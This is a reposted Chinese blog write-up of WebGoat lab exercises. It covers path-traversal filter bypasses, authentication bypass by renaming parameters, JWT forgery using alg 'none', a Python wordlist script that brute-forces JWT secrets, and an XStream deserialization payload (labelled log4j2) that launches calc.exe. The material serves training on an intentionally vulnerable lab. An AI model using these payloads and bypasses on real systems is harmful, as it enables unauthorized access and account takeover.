0


安全基础~web攻防特性2

文章目录

知识补充

Burpsuite Render在无法预览显示时,可以适当的清理缓存
win10下输入文字变成繁体解决

Javaweb安全之webGoat

webgoat靶场搭建

进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。
下载文件(最新版本包含新的漏洞靶场):
https://github.com/WebGoat/WebGoat/releases/
https://github.com/WebGoat/WebGoat/releases/
执行命令,开启靶场:
java -jar webgoat-server-8.0.0.M17.jar [–server.port=8080] [–server.address=localhost]
java -jar webwolf-8.0.0.M17.jar

eg
访问链接:http://127.0.0.1:8080/WebGoat,自动跳转login界面,注册登录。

其中webgoat用于进行WEB漏洞测试和学习的JAVA应用程序,webwolf用于模拟攻击者,其中提供了许多辅助攻击者的工具
webgoat搭建成功

参考文章1
参考文章2

闯关

General

Basics HTTP基础

  1. 随便输入字符串,经过服务器就给你逆序,不过这个输入框是存在xss的
  2. 就是逆序输出
  3. 输入框让输入POST或GET命令,输入魔法数字,抓包test 注 \color{red}{注} 注:这个数字是会变的,需要每次抓包观察

Proxies HTTP代理

  1. 将参数输入进去,进入bp,右键change method Change the Method to GET Add a header ‘x-request-intercepted:true’ Remove the request body and instead send ‘changeMe’ as a query string parameter and set the value to ‘Requests are tampered easily’ (without the single quotes) Then let the request continue through (by hitting the play button).test

Developer Tools 开发者工具

  1. Using the console 在concle中输入webgoat.customjs.phoneHome(),将随机数粘贴进输入框eg 6. Working with the Network tab 在http请求的请求字段中包含一个networkNum字段,将随机数复制上去eg 注 \color{red}{注} 注:想到为什么会在payload中才能看到这串数字 前后端联调之Form Data与Request Payload,具体解释说道:该字段的出现类型主要伴随着Content-type的出现而出现

Injection

Path traversal 路径遍历
攻击者可以在其中访问或存储外部的文件和目录 应用程序的位置
解决问题:部分目录不允许上传可执行文件,向上级目录上传
查看源码:将jar宝解压,用idea打开,寻找对应的jar,添加道路,对源码进行查看

  1. 要求上传到C:\Users\2han/.webgoat-2023.8/PathTraversal位置,经过抓包后发现,其上传位置包含了一个resign,所以要上传到其上一级目录。要求修改目标位置@ResponseBodypublicAttackResultuploadFileHandler(@RequestParam("uploadedFile")MultipartFile file,@RequestParam(value ="fullName",required =false)String fullName){returnsuper.execute(file, fullName);}test 成功过关成功
  2. 对上次实验做了修复,需要相同的结果,结果如下eg1 第一行post到服务器端POST /WebGoat/PathTraversal/profile-upload-fix HTTP/1.1,查找该文件,进行了单层过滤替代。@ResponseBodypublicAttackResultuploadFileHandler(@RequestParam("uploadedFileFix")MultipartFile file,@RequestParam(value ="fullNameFix",required =false)String fullName){returnsuper.execute(file, fullName !=null? fullName.replace("../",""):"");} 双写绕过eg2
  3. 一样是将文件上传到该位置,getOriginalFilename()得到上传时的文件名,所以从文件名入手。 源码@ResponseBodypublicAttackResultuploadFileHandler(@RequestParam("uploadedFileRemoveUserInput")MultipartFile file){returnsuper.execute(file, file.getOriginalFilename());}test
  4. 一样的,直接看源码 如果参数为null,或者不包含…或/,则进入下面的代码; 获取id,有id则赋值,若没有id,则生成一个1~10的随机数作为id; catPicture是id后面加了.jpg; 若出现path-traversal-secret.jpg参数,返回ok。

源码
开始尝试,当传入id=1,有返回
test1
尝试查找

path-traversal-secret

,当有…/时会出现非法字符提示,尝试使用反斜杠\仍旧无法绕过,使用

%2e%2e%2f

进行绕过

test1
test2
result

总结:
目录遍历双写…/绕过,双写绕过;
返回400,说明服务器后台并未对目录遍历攻击作任何限制,但是并没有请求到资源;
GET 请求参数中不允许存在…与/时,通过 url 编码绕过,%2e%2e%2f为. ./;
当服务器只允许获取当前格式的资源时,使用空白字符绕过,%20,%2a;
当使用post传参时,仅修改可变参数。

ldentity & Auth Failure

Authentication Bypasses 身份认证绕过
POST /WebGoat/auth-bypass/verify-account HTTP/1.1
根据第一行数据可查找后台代码

身份认证:
认证问题答案,很多选项:
你叫什么名字等等…只有两个问题(类似原来的qq密保类的东西)

接受键名和键值
s0=xiaodi&s1=湖北 正确
s3=null&s4=null发送数据
s3 s4为空,相当于NULL,那么就能进行绕过。
安全验证:
固定接受的数据:s0 s1判断你的数据 正常
不固定:s0 s1 正常
不固定:s2 s3不在数据库或者变量内,攻击者就能测试。
URL触发连接,访问地址:auth-bypass/verify-account

test

JWT tokens

解释

由三部分构成,以.分隔,出现在cookie上
滥用危害

The token is base64 encoded and consists of three parts:

1.header是base64编码后的头部信息    
    {'typ':'JWT','alg':'HS256'}    
    定义了声明token类型和签名算法alg   
2.payload是base编码的载荷部分,用来包含用户名,权限等数据    
    iss (issuer):签发人       
    sub (subject):主题   
    aud (audience):受众     
    exp (expiration time):过期时间   
    nbf (NotBefore):生效时间,在此之前是无效的     
    iat (IssuedAt):签发时间  
    jti (JWT ID):编号    
    -定义一个payload:{"sub":"l3ife","name":"l3ife","iat":888888}
     对其进行base64加密,得到jwt的第二部分
    eyJzdWIiOiJsM2lmZSIsIm5hbWUiOiJsM2lmZSIsImlhdCI6ODg4ODg4fQ
3.signature,把前两段的base密文通过﹐拼接起来,然后对其进行HS256加密,再然后对 hs256密文进行base64url加密,最终得到token的第三段。
HS256加密:
signature =HMACSHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload), secret );
   
RS256加密:      
signature =RSASHA256(base64UrlEncode(header)+"."+base64UrlEncode(payload), publicKey, privateKey)

解密平台:https://jwt.io/

JWT创建过程
用户在成功对服务器进行身份验证时使用用户名和密码登录返回。服务器创建一个新令牌,并将此令牌返回给客户端。当客户端连续调用服务器,它将新令牌附加到“Authorization”标头中。 服务器读取令牌并首先验证签名,验证成功后,服务器使用令牌中用于标识用户的信息。

  1. 用户无法投票,只有成为管理员才可以投票,需要更改令牌成为管理员用户,成了管理员用户才可以重置投票展示bp1 声明加密方法为HS512,第二部分声明用户名和权限,可以看到管理员权限为false 将admin改为true,由于加密方法是HS512,且不知道秘钥,所以只能将alg的值改为none,即无加密方法。修改 { “alg”: “none” }result1 { “iat”: 1706459434, “admin”: “true”, “user”: “Tom” }result2 11. 暴力破解便有可能将密钥解出。> token:eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTcwNTYwNDg5NiwiZXhwIjoxNzA1NjA0OTU2LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.5aqiNb0jY1xvFycagd65E1eN0PsFhbgvhf8lBMXZTio结果 暴力破解import jwtimport termcolorif __name__ =="__main__": jwt_str =R'eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTY0MTg5Njc3MiwiZXhwIjoxNjQxODk2ODMyLCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.ZaBAasksu_uUYloJwpaNwzRhpIaHNSSYxSANfmNZ1Rk'withopen('top1000.txt')as f:for line in f: key_ = line.strip()try: jwt.decode(jwt_str, algorithms=["HS256"],verify=True, key=key_)print('\r','\bbingo! found key -->', termcolor.colored(key_,'green'),'<--')breakexcept(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):print('\r','\bbingo! found key -->', termcolor.colored(key_,'green'),'<--')breakexcept jwt.exceptions.InvalidSignatureError:print('\r',' '*64,'\r\btry', key_, end='', flush=True)continueelse:print('\r','\bsorry! no key be found.')# bingo! found key --> victory <--根据要求修改username为webgoat;将密钥填进去;修改一下exp的时间戳,只要比当前时间晚就好。

  2. 之前的日志,找到一种方法去让tom花钱订购书,在日志中发现token
    结果
    抓结账的宝,修改jwt,exp为请求过期时间,加密方式使用none

result
参考链接
参考文章1
参考文章2

log4j2漏洞利用

<sorted-set><string>foo</string><dynamic-proxy><interface>java.lang.Comparable</interface><handlerclass="java.beans.EventHandler"><targetclass="java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy></sorted-set>

JS项目&Node.JS框架安全

JavaScript语言可以通过其网站本身代码检查查看,等同于白盒测试
在Javascript中也存在变量和函数,存在可控变量及函数调用,即参数漏洞

判断是否为js代码开发的web应用
插件

wappalyzer

源代码简短
引入多个js文件
一般有/static/js/app.js 等顺序的js文件
cookie中有connect.sid

如何获取更多的JS文件?

JsFinder
Packer-Fuzzer
扫描器后缀替换字典

快速获取价值代码?

method:"get"
http.get("
method:"post"
http.post("
$.ajax
service.httppost
service.httpget

参考文章

标签: 安全

本文转载自: https://blog.csdn.net/qq_63792137/article/details/135659071
版权归原作者 `流年づ 所有, 如有侵权,请联系我们删除。

“安全基础~web攻防特性2”的评论:

还没有评论